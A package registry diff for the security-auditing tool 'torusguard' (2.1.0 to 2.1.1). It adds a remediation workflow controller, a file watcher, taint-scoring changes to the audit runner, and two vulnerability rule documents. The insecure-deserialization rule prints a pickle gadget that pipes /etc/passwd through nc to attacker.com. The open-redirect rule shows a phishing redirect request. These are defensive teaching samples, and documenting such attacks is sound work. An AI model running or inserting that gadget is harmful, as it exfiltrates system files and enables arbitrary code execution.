torusguard 2.1.0 → 2.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.torusguard/.manifest.json +47 -5
- package/.torusguard/core/__init__.py +146 -0
- package/.torusguard/core/agent_roles.py +104 -0
- package/.torusguard/core/ast_walker.py +283 -0
- package/.torusguard/core/authorization.py +218 -0
- package/.torusguard/core/browser_verifier.py +128 -0
- package/.torusguard/core/bundle.py +141 -0
- package/.torusguard/core/call_graph.py +184 -0
- package/.torusguard/core/clustering.py +275 -0
- package/.torusguard/core/confidence.py +120 -0
- package/.torusguard/core/cross_file_taint.py +101 -0
- package/.torusguard/core/exploit_checker.py +317 -0
- package/.torusguard/core/formatter.py +351 -0
- package/.torusguard/core/governance.py +210 -0
- package/.torusguard/core/identity.py +104 -0
- package/.torusguard/core/import_resolver.py +91 -0
- package/.torusguard/core/incremental.py +102 -0
- package/.torusguard/core/lifecycle.py +137 -0
- package/.torusguard/core/models.py +425 -0
- package/.torusguard/core/parallel.py +56 -0
- package/.torusguard/core/parser.py +202 -0
- package/.torusguard/core/rechecker.py +107 -0
- package/.torusguard/core/replay_trace.py +178 -0
- package/.torusguard/core/rules_registry.py +131 -0
- package/.torusguard/core/run_folder.py +60 -0
- package/.torusguard/core/run_manager.py +163 -0
- package/.torusguard/core/runtime_evidence.py +175 -0
- package/.torusguard/core/runtime_validator.py +246 -0
- package/.torusguard/core/safety_gate.py +139 -0
- package/.torusguard/core/sarif.py +189 -0
- package/.torusguard/core/stack_profiler.py +184 -0
- package/.torusguard/core/symbol_table.py +91 -0
- package/.torusguard/core/taint.py +133 -0
- package/.torusguard/core/taint_graph.py +235 -0
- package/.torusguard/core/taint_rules.py +268 -0
- package/.torusguard/core/v070_reporter.py +102 -0
- package/.torusguard/core/v070_workflow.py +339 -0
- package/.torusguard/core/v6_reporter.py +180 -0
- package/.torusguard/core/v6_workflow.py +221 -0
- package/.torusguard/core/watcher.py +58 -0
- package/.torusguard/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
- package/.torusguard/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
- package/.torusguard/scripts/__pycache__/audit_runner.cpython-314.pyc +0 -0
- package/.torusguard/scripts/__pycache__/finding_scorer.cpython-314.pyc +0 -0
- package/.torusguard/scripts/__pycache__/rules_sync.cpython-314.pyc +0 -0
- package/.torusguard/scripts/audit_runner.py +108 -10
- package/.torusguard/scripts/finding_scorer.py +43 -13
- package/.torusguard/scripts/skill_profiler.py +26 -0
- package/.torusguard/skills/torusguard/SKILL.md +6 -2
- package/.torusguard/skills/torusguard-audit/SKILL.md +109 -84
- package/.torusguard/workflows/audit.md +21 -17
- package/README.md +19 -11
- package/package.json +7 -2
- package/skills/torusguard/SKILL.md +6 -2
- package/skills/torusguard/__pycache__/bootstrap.cpython-314.pyc +0 -0
- package/skills/torusguard/bootstrap.py +3 -3
- package/skills/torusguard/payload/.manifest.json +48 -7
- package/skills/torusguard/payload/core/__init__.py +146 -0
- package/skills/torusguard/payload/core/agent_roles.py +104 -0
- package/skills/torusguard/payload/core/ast_walker.py +283 -0
- package/skills/torusguard/payload/core/authorization.py +218 -0
- package/skills/torusguard/payload/core/browser_verifier.py +128 -0
- package/skills/torusguard/payload/core/bundle.py +141 -0
- package/skills/torusguard/payload/core/call_graph.py +184 -0
- package/skills/torusguard/payload/core/clustering.py +275 -0
- package/skills/torusguard/payload/core/confidence.py +120 -0
- package/skills/torusguard/payload/core/cross_file_taint.py +101 -0
- package/skills/torusguard/payload/core/exploit_checker.py +317 -0
- package/skills/torusguard/payload/core/formatter.py +351 -0
- package/skills/torusguard/payload/core/governance.py +210 -0
- package/skills/torusguard/payload/core/identity.py +104 -0
- package/skills/torusguard/payload/core/import_resolver.py +91 -0
- package/skills/torusguard/payload/core/incremental.py +102 -0
- package/skills/torusguard/payload/core/lifecycle.py +137 -0
- package/skills/torusguard/payload/core/models.py +425 -0
- package/skills/torusguard/payload/core/parallel.py +56 -0
- package/skills/torusguard/payload/core/parser.py +202 -0
- package/skills/torusguard/payload/core/rechecker.py +107 -0
- package/skills/torusguard/payload/core/replay_trace.py +178 -0
- package/skills/torusguard/payload/core/rules_registry.py +131 -0
- package/skills/torusguard/payload/core/run_folder.py +60 -0
- package/skills/torusguard/payload/core/run_manager.py +163 -0
- package/skills/torusguard/payload/core/runtime_evidence.py +175 -0
- package/skills/torusguard/payload/core/runtime_validator.py +246 -0
- package/skills/torusguard/payload/core/safety_gate.py +139 -0
- package/skills/torusguard/payload/core/sarif.py +189 -0
- package/skills/torusguard/payload/core/stack_profiler.py +184 -0
- package/skills/torusguard/payload/core/symbol_table.py +91 -0
- package/skills/torusguard/payload/core/taint.py +133 -0
- package/skills/torusguard/payload/core/taint_graph.py +235 -0
- package/skills/torusguard/payload/core/taint_rules.py +268 -0
- package/skills/torusguard/payload/core/v070_reporter.py +102 -0
- package/skills/torusguard/payload/core/v070_workflow.py +339 -0
- package/skills/torusguard/payload/core/v6_reporter.py +180 -0
- package/skills/torusguard/payload/core/v6_workflow.py +221 -0
- package/skills/torusguard/payload/core/watcher.py +58 -0
- package/skills/torusguard/payload/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
- package/skills/torusguard/payload/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
- package/skills/torusguard/payload/rules/container/TG-CONT-001-root-user-execution.md +50 -50
- package/skills/torusguard/payload/rules/container/TG-CONT-002-docker-socket-mount.md +47 -47
- package/skills/torusguard/payload/rules/container/TG-CONT-003-privileged-container-mode.md +53 -53
- package/skills/torusguard/payload/rules/container/TG-CONT-004-build-arg-secret-exposure.md +43 -43
- package/skills/torusguard/payload/rules/git/TG-GIT-001-historical-secret-in-git-commit.md +44 -44
- package/skills/torusguard/payload/rules/git/TG-GIT-002-plaintext-credentials-in-git-config.md +41 -41
- package/skills/torusguard/payload/rules/git/TG-GIT-003-sensitive-tracked-file-gitignore-breach.md +40 -40
- package/skills/torusguard/payload/rules/rag/TG-RAG-001-untrusted-rag-context-injection.md +72 -72
- package/skills/torusguard/payload/rules/rag/TG-RAG-002-autonomous-llm-tool-unsandboxed-call.md +51 -51
- package/skills/torusguard/payload/rules/rag/TG-RAG-003-unpartitioned-vector-tenant-lookup.md +51 -51
- package/skills/torusguard/payload/rules/redos/TG-REDOS-001-catastrophic-exponential-backtracking.md +46 -46
- package/skills/torusguard/payload/rules/redos/TG-REDOS-002-unbounded-nested-quantifier.md +43 -43
- package/skills/torusguard/payload/scripts/audit_runner.py +108 -10
- package/skills/torusguard/payload/scripts/finding_scorer.py +43 -13
- package/skills/torusguard/payload/skills/torusguard/SKILL.md +6 -2
- package/skills/torusguard/payload/skills/torusguard/bootstrap.py +3 -3
- package/skills/torusguard/payload/skills/torusguard-ai-guard/SKILL.md +95 -95
- package/skills/torusguard/payload/skills/torusguard-audit/SKILL.md +109 -84
- package/skills/torusguard/payload/skills/torusguard-container/SKILL.md +94 -94
- package/skills/torusguard/payload/skills/torusguard-git-mine/SKILL.md +92 -92
- package/skills/torusguard/payload/skills/torusguard-ocr-scan/SKILL.md +94 -94
- package/skills/torusguard/payload/skills/torusguard-redos/SKILL.md +91 -91
- package/skills/torusguard/payload/workflows/ai-guard.md +31 -31
- package/skills/torusguard/payload/workflows/audit.md +21 -17
- package/skills/torusguard/payload/workflows/container.md +29 -29
- package/skills/torusguard/payload/workflows/git-mine.md +25 -25
- package/skills/torusguard/payload/workflows/ocr-scan.md +25 -25
- package/skills/torusguard/payload/workflows/redos.md +27 -27
- package/skills/torusguard/payload/workflows/torusguard-audit.md +35 -55
- package/skills/torusguard/references/csharp-security.md +41 -41
- package/skills/torusguard/references/go-security.md +41 -41
- package/skills/torusguard/references/java-security.md +40 -40
- package/skills/torusguard/references/polyglot-security-matrix.md +25 -25
- package/skills/torusguard/references/rust-security.md +40 -40
- package/skills/torusguard-audit/SKILL.md +107 -83
|
@@ -0,0 +1,221 @@
|
|
|
1
|
+
"""
|
|
2
|
+
TorusGuard v6 Governed Remediation Workflow Controller
|
|
3
|
+
Coordinates the complete v6 workflow:
|
|
4
|
+
1. Scan & Stable Finding Identity
|
|
5
|
+
2. Root-Cause Clustering
|
|
6
|
+
3. Structured Remediation Bundles
|
|
7
|
+
4. Minimal Patch Governance
|
|
8
|
+
5. Targeted Recheck & Regression Verification
|
|
9
|
+
6. Run Folder Artifact Emission & SARIF Export
|
|
10
|
+
"""
|
|
11
|
+
|
|
12
|
+
from pathlib import Path
|
|
13
|
+
from typing import List, Dict, Any, Optional, Tuple
|
|
14
|
+
|
|
15
|
+
from core.identity import IdentityEngine
|
|
16
|
+
from core.clustering import ClusteringEngine, RootCauseCluster
|
|
17
|
+
from core.bundle import BundleManager, RemediationBundle
|
|
18
|
+
from core.governance import PatchGovernor, PatchPolicyDecision
|
|
19
|
+
from core.rechecker import TargetedRechecker, TargetedRecheckResult, RecheckOutcome
|
|
20
|
+
from core.run_manager import RunManager
|
|
21
|
+
from core.sarif import SarifExporter
|
|
22
|
+
from core.v6_reporter import V6Reporter
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
class V6Workflow:
|
|
26
|
+
"""
|
|
27
|
+
Unified controller for TorusGuard v6 governed remediation and recheck operations.
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
def __init__(self, target_root: Optional[Path] = None, output_base: Optional[Path] = None):
|
|
31
|
+
self.target_root = target_root or Path(".")
|
|
32
|
+
self.output_base = output_base or Path(".torusguard/runs")
|
|
33
|
+
|
|
34
|
+
def execute_audit(
|
|
35
|
+
self,
|
|
36
|
+
raw_findings: List[Dict[str, Any]],
|
|
37
|
+
target_name: str = "workspace",
|
|
38
|
+
run_id: Optional[str] = None,
|
|
39
|
+
export_sarif: bool = True,
|
|
40
|
+
) -> RunManager:
|
|
41
|
+
"""
|
|
42
|
+
Executes Phase 1 & 2: Identifies stable fingerprints, clusters root causes, and emits run artifacts.
|
|
43
|
+
"""
|
|
44
|
+
run_mgr = RunManager(
|
|
45
|
+
base_dir=self.output_base,
|
|
46
|
+
target_name=target_name,
|
|
47
|
+
command="audit",
|
|
48
|
+
run_id=run_id,
|
|
49
|
+
)
|
|
50
|
+
|
|
51
|
+
# 1. Attach Stable Finding Identifiers
|
|
52
|
+
enriched_findings = []
|
|
53
|
+
evidence_list = []
|
|
54
|
+
|
|
55
|
+
for f in raw_findings:
|
|
56
|
+
rule_id = f.get("rule_id", "TG-GENERIC")
|
|
57
|
+
target = f.get("target", {})
|
|
58
|
+
file_path = target.get("file_path", "unknown")
|
|
59
|
+
snippet = f.get("evidence", {}).get("code_snippet", "")
|
|
60
|
+
sink = f.get("sink_signature")
|
|
61
|
+
framework = f.get("framework_marker")
|
|
62
|
+
|
|
63
|
+
fp = IdentityEngine.generate_identity(
|
|
64
|
+
rule_id=rule_id,
|
|
65
|
+
file_path=file_path,
|
|
66
|
+
code_snippet=snippet,
|
|
67
|
+
sink_signature=sink,
|
|
68
|
+
framework_marker=framework,
|
|
69
|
+
root_path=self.target_root,
|
|
70
|
+
)
|
|
71
|
+
|
|
72
|
+
item = dict(f)
|
|
73
|
+
item["finding_id"] = fp.fingerprint_id
|
|
74
|
+
item["fingerprint_id"] = fp.fingerprint_id
|
|
75
|
+
item["region_hash"] = fp.region_hash
|
|
76
|
+
enriched_findings.append(item)
|
|
77
|
+
|
|
78
|
+
evidence_list.append({
|
|
79
|
+
"finding_id": fp.fingerprint_id,
|
|
80
|
+
"rule_id": rule_id,
|
|
81
|
+
"file_path": file_path,
|
|
82
|
+
"region_hash": fp.region_hash,
|
|
83
|
+
"code_snippet": snippet,
|
|
84
|
+
})
|
|
85
|
+
|
|
86
|
+
# 2. Cluster Findings by Root Cause
|
|
87
|
+
clusters = ClusteringEngine.cluster_findings(enriched_findings)
|
|
88
|
+
cluster_map = {c.primary_rule: c.cluster_id for c in clusters}
|
|
89
|
+
|
|
90
|
+
for ef in enriched_findings:
|
|
91
|
+
ef["cluster_id"] = cluster_map.get(ef.get("rule_id"), "cluster-general")
|
|
92
|
+
|
|
93
|
+
# 3. Render and Write Standard Artifacts
|
|
94
|
+
summary_md = V6Reporter.render_summary(
|
|
95
|
+
target_name=target_name,
|
|
96
|
+
run_id=run_mgr.run_id,
|
|
97
|
+
findings=enriched_findings,
|
|
98
|
+
clusters=clusters,
|
|
99
|
+
)
|
|
100
|
+
findings_md = V6Reporter.render_findings(enriched_findings)
|
|
101
|
+
|
|
102
|
+
run_mgr.write_summary(summary_md)
|
|
103
|
+
run_mgr.write_findings(findings_md)
|
|
104
|
+
run_mgr.write_evidence(evidence_list)
|
|
105
|
+
|
|
106
|
+
# 4. Optional SARIF export
|
|
107
|
+
if export_sarif:
|
|
108
|
+
sarif_dict = SarifExporter.generate_sarif(
|
|
109
|
+
findings=enriched_findings,
|
|
110
|
+
clusters=[c.to_dict() for c in clusters],
|
|
111
|
+
)
|
|
112
|
+
run_mgr.write_sarif(sarif_dict)
|
|
113
|
+
|
|
114
|
+
# 5. Write Run Manifest
|
|
115
|
+
status_counts = {
|
|
116
|
+
"total_findings": len(enriched_findings),
|
|
117
|
+
"confirmed": sum(1 for f in enriched_findings if f.get("confidence_band") == "Confirmed"),
|
|
118
|
+
"high_confidence": sum(1 for f in enriched_findings if f.get("confidence_band") == "High Confidence"),
|
|
119
|
+
"needs_review": sum(1 for f in enriched_findings if f.get("confidence_band") == "Needs Review"),
|
|
120
|
+
"remediated": 0,
|
|
121
|
+
"verified_fixed": 0,
|
|
122
|
+
"regressed": 0,
|
|
123
|
+
}
|
|
124
|
+
run_mgr.write_manifest(status_counts=status_counts)
|
|
125
|
+
|
|
126
|
+
return run_mgr
|
|
127
|
+
|
|
128
|
+
def execute_harden(
|
|
129
|
+
self,
|
|
130
|
+
run_mgr: RunManager,
|
|
131
|
+
findings: List[Dict[str, Any]],
|
|
132
|
+
) -> List[RemediationBundle]:
|
|
133
|
+
"""
|
|
134
|
+
Executes Phase 3: Generates structured remediation bundles.
|
|
135
|
+
"""
|
|
136
|
+
bundles = []
|
|
137
|
+
for f in findings:
|
|
138
|
+
b = BundleManager.create_bundle(f, cluster_id=f.get("cluster_id"))
|
|
139
|
+
b.write_to_directory(run_mgr.bundles_dir)
|
|
140
|
+
bundles.append(b)
|
|
141
|
+
|
|
142
|
+
remediation_md = V6Reporter.render_remediation(bundles)
|
|
143
|
+
run_mgr.write_remediation(remediation_md)
|
|
144
|
+
return bundles
|
|
145
|
+
|
|
146
|
+
def execute_apply(
|
|
147
|
+
self,
|
|
148
|
+
run_mgr: RunManager,
|
|
149
|
+
bundles: List[RemediationBundle],
|
|
150
|
+
governor: Optional[PatchGovernor] = None,
|
|
151
|
+
) -> List[Tuple[str, PatchPolicyDecision]]:
|
|
152
|
+
"""
|
|
153
|
+
Executes Phase 4: Evaluates minimal patch governance policies and plans application.
|
|
154
|
+
"""
|
|
155
|
+
gov = governor or PatchGovernor()
|
|
156
|
+
decisions = []
|
|
157
|
+
changed_files = set()
|
|
158
|
+
diff_summary_lines = ["# TorusGuard v6 Unified Diff Summary\n"]
|
|
159
|
+
|
|
160
|
+
for b in bundles:
|
|
161
|
+
target_f = b.target_files[0] if b.target_files else "app.py"
|
|
162
|
+
decision = gov.evaluate_diff(b.proposed_diff, target_file=target_f)
|
|
163
|
+
decisions.append((b.finding_id, decision))
|
|
164
|
+
|
|
165
|
+
if decision.allowed_auto_apply:
|
|
166
|
+
changed_files.update(decision.file_list)
|
|
167
|
+
diff_summary_lines.append(f"## Applied Patch: `{b.finding_id}` (`{target_f}`)")
|
|
168
|
+
diff_summary_lines.append("```diff")
|
|
169
|
+
diff_summary_lines.append(b.proposed_diff.strip())
|
|
170
|
+
diff_summary_lines.append("```\n")
|
|
171
|
+
|
|
172
|
+
apply_plan_md = V6Reporter.render_apply_plan(decisions)
|
|
173
|
+
run_mgr.write_apply_plan(apply_plan_md)
|
|
174
|
+
run_mgr.write_diff_summary("\n".join(diff_summary_lines))
|
|
175
|
+
run_mgr.write_changed_files(list(changed_files))
|
|
176
|
+
|
|
177
|
+
return decisions
|
|
178
|
+
|
|
179
|
+
def execute_recheck(
|
|
180
|
+
self,
|
|
181
|
+
run_mgr: RunManager,
|
|
182
|
+
recheck_scenarios: List[Dict[str, Any]],
|
|
183
|
+
) -> List[TargetedRecheckResult]:
|
|
184
|
+
"""
|
|
185
|
+
Executes Phase 5: Targeted differential rechecks of impacted files.
|
|
186
|
+
"""
|
|
187
|
+
results = []
|
|
188
|
+
for sc in recheck_scenarios:
|
|
189
|
+
r = TargetedRechecker.verify_finding(
|
|
190
|
+
finding_id=sc.get("finding_id", "fnd-01"),
|
|
191
|
+
rule_id=sc.get("rule_id", "TG-GENERIC"),
|
|
192
|
+
target_file=sc.get("target_file", "app.py"),
|
|
193
|
+
original_code_snippet=sc.get("orig_snippet", ""),
|
|
194
|
+
post_fix_code_snippet=sc.get("post_snippet", ""),
|
|
195
|
+
is_safe_pattern_present=sc.get("is_safe", True),
|
|
196
|
+
is_unsafe_pattern_present=sc.get("is_unsafe", False),
|
|
197
|
+
introduced_new_flaws=sc.get("regressions"),
|
|
198
|
+
requires_manual_context=sc.get("manual_context", False),
|
|
199
|
+
)
|
|
200
|
+
results.append(r)
|
|
201
|
+
|
|
202
|
+
recheck_md = V6Reporter.render_recheck(results)
|
|
203
|
+
run_mgr.write_recheck(recheck_md)
|
|
204
|
+
|
|
205
|
+
# Update Manifest counts
|
|
206
|
+
fixed_count = sum(1 for r in results if r.outcome == RecheckOutcome.CONFIRMED_FIXED)
|
|
207
|
+
regressed_count = sum(1 for r in results if r.outcome == RecheckOutcome.REGRESSED)
|
|
208
|
+
|
|
209
|
+
run_mgr.write_manifest(
|
|
210
|
+
status_counts={
|
|
211
|
+
"total_findings": len(results),
|
|
212
|
+
"confirmed": 0,
|
|
213
|
+
"high_confidence": 0,
|
|
214
|
+
"needs_review": sum(1 for r in results if r.outcome == RecheckOutcome.NEEDS_MANUAL_REVIEW),
|
|
215
|
+
"remediated": fixed_count,
|
|
216
|
+
"verified_fixed": fixed_count,
|
|
217
|
+
"regressed": regressed_count,
|
|
218
|
+
}
|
|
219
|
+
)
|
|
220
|
+
|
|
221
|
+
return results
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
"""
|
|
2
|
+
TorusGuard Continuous File Watcher
|
|
3
|
+
Monitors target workspace files for changes, debounces filesystem events,
|
|
4
|
+
and triggers continuous differential security re-scans.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from pathlib import Path
|
|
8
|
+
from typing import Dict, List, Set, Callable, Optional
|
|
9
|
+
import time
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
class FileWatcher:
|
|
13
|
+
"""Lightweight polling and mtime watcher with debouncing."""
|
|
14
|
+
|
|
15
|
+
def __init__(self, target_root: Path, check_interval_sec: float = 0.5):
|
|
16
|
+
self.target_root = target_root.resolve()
|
|
17
|
+
self.interval = check_interval_sec
|
|
18
|
+
self.file_mtimes: Dict[str, float] = {}
|
|
19
|
+
|
|
20
|
+
def get_snapshot(self, extensions: Optional[Set[str]] = None) -> Dict[str, float]:
|
|
21
|
+
exts = extensions or {".py", ".js", ".ts", ".tsx", ".go", ".rs", ".java", ".php", ".rb", ".cs"}
|
|
22
|
+
snapshot: Dict[str, float] = {}
|
|
23
|
+
try:
|
|
24
|
+
for p in self.target_root.rglob("*"):
|
|
25
|
+
if p.is_file() and p.suffix.lower() in exts:
|
|
26
|
+
if ".git" in p.parts or "node_modules" in p.parts or ".torusguard" in p.parts:
|
|
27
|
+
continue
|
|
28
|
+
try:
|
|
29
|
+
snapshot[str(p)] = p.stat().st_mtime
|
|
30
|
+
except Exception:
|
|
31
|
+
pass
|
|
32
|
+
except Exception:
|
|
33
|
+
pass
|
|
34
|
+
return snapshot
|
|
35
|
+
|
|
36
|
+
def watch(
|
|
37
|
+
self,
|
|
38
|
+
on_change_callback: Callable[[List[str]], None],
|
|
39
|
+
stop_condition: Optional[Callable[[], bool]] = None
|
|
40
|
+
) -> None:
|
|
41
|
+
"""Polls for file modifications and triggers `on_change_callback`."""
|
|
42
|
+
self.file_mtimes = self.get_snapshot()
|
|
43
|
+
|
|
44
|
+
while True:
|
|
45
|
+
if stop_condition and stop_condition():
|
|
46
|
+
break
|
|
47
|
+
|
|
48
|
+
time.sleep(self.interval)
|
|
49
|
+
current_snapshot = self.get_snapshot()
|
|
50
|
+
|
|
51
|
+
changed_files: List[str] = []
|
|
52
|
+
for path_str, mtime in current_snapshot.items():
|
|
53
|
+
if path_str not in self.file_mtimes or self.file_mtimes[path_str] != mtime:
|
|
54
|
+
changed_files.append(path_str)
|
|
55
|
+
|
|
56
|
+
if changed_files:
|
|
57
|
+
self.file_mtimes = current_snapshot
|
|
58
|
+
on_change_callback(changed_files)
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-007
|
|
3
|
+
title: Unvalidated URL Redirection (Open Redirect)
|
|
4
|
+
category: input-validation
|
|
5
|
+
severity: Medium
|
|
6
|
+
confidence: High
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
- express
|
|
12
|
+
- nextjs
|
|
13
|
+
cwe: CWE-601
|
|
14
|
+
asvs_v4: V5.1.5
|
|
15
|
+
nist_ssdf: PW.5.1
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
# TG-INPUT-007: Unvalidated URL Redirection (Open Redirect)
|
|
19
|
+
|
|
20
|
+
## 🚨 Problem Statement
|
|
21
|
+
Passing unvalidated or untrusted user input directly into HTTP redirect responses (`redirect()`, `res.redirect()`, `header('Location: ...')`) enables Open Redirect vulnerabilities. Attackers use trusted domains to trick users into phishing sites or OAuth credential harvesting portals.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 💥 Adversarial Threat & Exploitation
|
|
26
|
+
An attacker generates a legitimate-looking link:
|
|
27
|
+
```http
|
|
28
|
+
GET /login?next=https://evil-phishing.com/account HTTP/1.1
|
|
29
|
+
Host: secure-bank.com
|
|
30
|
+
```
|
|
31
|
+
If the server performs `return redirect(request.GET.get('next'))`, the user is seamlessly forwarded to the malicious domain after authentication.
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## 🛠️ Framework-Native Remediations
|
|
36
|
+
|
|
37
|
+
### 🐍 Django / Flask
|
|
38
|
+
#### ❌ Unsafe Pattern
|
|
39
|
+
```python
|
|
40
|
+
return redirect(request.GET.get("next"))
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
#### ✅ Safe Remediation
|
|
44
|
+
```python
|
|
45
|
+
from urllib.parse import urlparse, urljoin
|
|
46
|
+
from django.utils.http import url_has_allowed_host_and_scheme
|
|
47
|
+
|
|
48
|
+
def safe_redirect(request):
|
|
49
|
+
next_url = request.GET.get("next", "/")
|
|
50
|
+
if url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
|
|
51
|
+
return redirect(next_url)
|
|
52
|
+
return redirect("/")
|
|
53
|
+
```
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-008
|
|
3
|
+
title: Insecure Object Deserialization
|
|
4
|
+
category: input-validation
|
|
5
|
+
severity: Critical
|
|
6
|
+
confidence: Confirmed
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
- stdlib
|
|
12
|
+
cwe: CWE-502
|
|
13
|
+
asvs_v4: V5.5.1
|
|
14
|
+
nist_ssdf: PW.5.1
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
# TG-INPUT-008: Insecure Object Deserialization
|
|
18
|
+
|
|
19
|
+
## 🚨 Problem Statement
|
|
20
|
+
Deserializing untrusted data with formats that support code execution (`pickle.loads`, `yaml.load` without `SafeLoader`, `marshal`, `shelve`) allows remote attackers to execute arbitrary code via object instantiation hooks like `__reduce__`.
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## 💥 Adversarial Threat & Exploitation
|
|
25
|
+
An attacker submits a pickled payload containing a crafted gadget:
|
|
26
|
+
```python
|
|
27
|
+
class Exploit(object):
|
|
28
|
+
def __reduce__(self):
|
|
29
|
+
return (os.system, ('cat /etc/passwd | nc attacker.com 4444',))
|
|
30
|
+
```
|
|
31
|
+
When `pickle.loads(untrusted_bytes)` runs, the arbitrary system command is immediately executed.
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## 🛠️ Framework-Native Remediations
|
|
36
|
+
|
|
37
|
+
### 🐍 Python
|
|
38
|
+
#### ❌ Unsafe Pattern
|
|
39
|
+
```python
|
|
40
|
+
data = pickle.loads(request.body)
|
|
41
|
+
config = yaml.load(user_upload, Loader=yaml.Loader)
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
#### ✅ Safe Remediation
|
|
45
|
+
```python
|
|
46
|
+
import json
|
|
47
|
+
import yaml
|
|
48
|
+
|
|
49
|
+
# Safe: Standard structured serialization formats
|
|
50
|
+
data = json.loads(request.body)
|
|
51
|
+
config = yaml.safe_load(user_upload)
|
|
52
|
+
```
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
@@ -42,8 +42,16 @@ def get_ist_now() -> datetime.datetime:
|
|
|
42
42
|
|
|
43
43
|
# ─── UI Formatter Bridge ──────────────────────────────────────────────────────
|
|
44
44
|
scripts_dir = Path(__file__).resolve().parent
|
|
45
|
+
tg_root = Path(__file__).resolve().parent.parent
|
|
46
|
+
project_root = Path(__file__).resolve().parent.parent.parent
|
|
45
47
|
if str(scripts_dir) not in sys.path:
|
|
46
48
|
sys.path.insert(0, str(scripts_dir))
|
|
49
|
+
if str(tg_root) not in sys.path:
|
|
50
|
+
sys.path.insert(0, str(tg_root))
|
|
51
|
+
if str(project_root) not in sys.path:
|
|
52
|
+
sys.path.insert(0, str(project_root))
|
|
53
|
+
|
|
54
|
+
|
|
47
55
|
|
|
48
56
|
try:
|
|
49
57
|
import term_ui as tui
|
|
@@ -1240,9 +1248,10 @@ def scan_file(file_path: Path, target_root: Path) -> List[Dict[str, Any]]:
|
|
|
1240
1248
|
return findings
|
|
1241
1249
|
|
|
1242
1250
|
|
|
1243
|
-
def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path) -> Tuple[List[Dict[str, Any]], Dict[str, List[Dict[str, Any]]]]:
|
|
1251
|
+
def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path, taint_paths: Optional[List[Any]] = None) -> Tuple[List[Dict[str, Any]], Dict[str, List[Dict[str, Any]]]]:
|
|
1244
1252
|
"""
|
|
1245
|
-
Score each finding using finding_scorer.py
|
|
1253
|
+
Score each finding using finding_scorer.py, persistent memory patterns,
|
|
1254
|
+
and taint dataflow analysis.
|
|
1246
1255
|
Returns (scored_findings, clusters_map).
|
|
1247
1256
|
"""
|
|
1248
1257
|
try:
|
|
@@ -1253,6 +1262,15 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
|
|
|
1253
1262
|
scored = []
|
|
1254
1263
|
clusters: Dict[str, List[Dict[str, Any]]] = {}
|
|
1255
1264
|
|
|
1265
|
+
# Map taint paths by (file_path, line_number)
|
|
1266
|
+
taint_by_loc: Dict[Tuple[str, int], Any] = {}
|
|
1267
|
+
if taint_paths:
|
|
1268
|
+
for tp in taint_paths:
|
|
1269
|
+
sink_node = getattr(tp, "sink", None)
|
|
1270
|
+
if sink_node:
|
|
1271
|
+
norm_p = getattr(sink_node, "file_path", "").replace("\\", "/")
|
|
1272
|
+
taint_by_loc[(norm_p, getattr(sink_node, "line_number", 0))] = tp
|
|
1273
|
+
|
|
1256
1274
|
# Phase 1d: Pre-compute cross-file corroboration bonus
|
|
1257
1275
|
# If multiple rule families flag the same file, each finding gets +5 confidence
|
|
1258
1276
|
file_rule_families: Dict[str, set] = {}
|
|
@@ -1267,6 +1285,14 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
|
|
|
1267
1285
|
band = "High Confidence"
|
|
1268
1286
|
factors = {}
|
|
1269
1287
|
|
|
1288
|
+
# Check for correlated taint path
|
|
1289
|
+
matching_tp = taint_by_loc.get((f["file_path"], f["line_number"]))
|
|
1290
|
+
is_taint_confirmed = matching_tp is not None
|
|
1291
|
+
taint_depth = getattr(matching_tp, "depth", None) if matching_tp else None
|
|
1292
|
+
is_sanitized = getattr(matching_tp, "is_sanitized", False) if matching_tp else False
|
|
1293
|
+
if matching_tp and hasattr(matching_tp, "to_dict"):
|
|
1294
|
+
f["taint_path"] = matching_tp.to_dict()
|
|
1295
|
+
|
|
1270
1296
|
if finding_scorer:
|
|
1271
1297
|
try:
|
|
1272
1298
|
# Phase 1d: Dynamic evidence quality based on rule precision
|
|
@@ -1291,7 +1317,11 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
|
|
|
1291
1317
|
manual_review_status=mr,
|
|
1292
1318
|
rule_id=f["rule_id"],
|
|
1293
1319
|
file_path=f["file_path"],
|
|
1294
|
-
root_dir=target_root
|
|
1320
|
+
root_dir=target_root,
|
|
1321
|
+
taint_path_confirmed=is_taint_confirmed,
|
|
1322
|
+
taint_depth=taint_depth,
|
|
1323
|
+
sanitizer_present=is_sanitized,
|
|
1324
|
+
rule_severity=f.get("severity", "High")
|
|
1295
1325
|
)
|
|
1296
1326
|
score = s
|
|
1297
1327
|
band = b
|
|
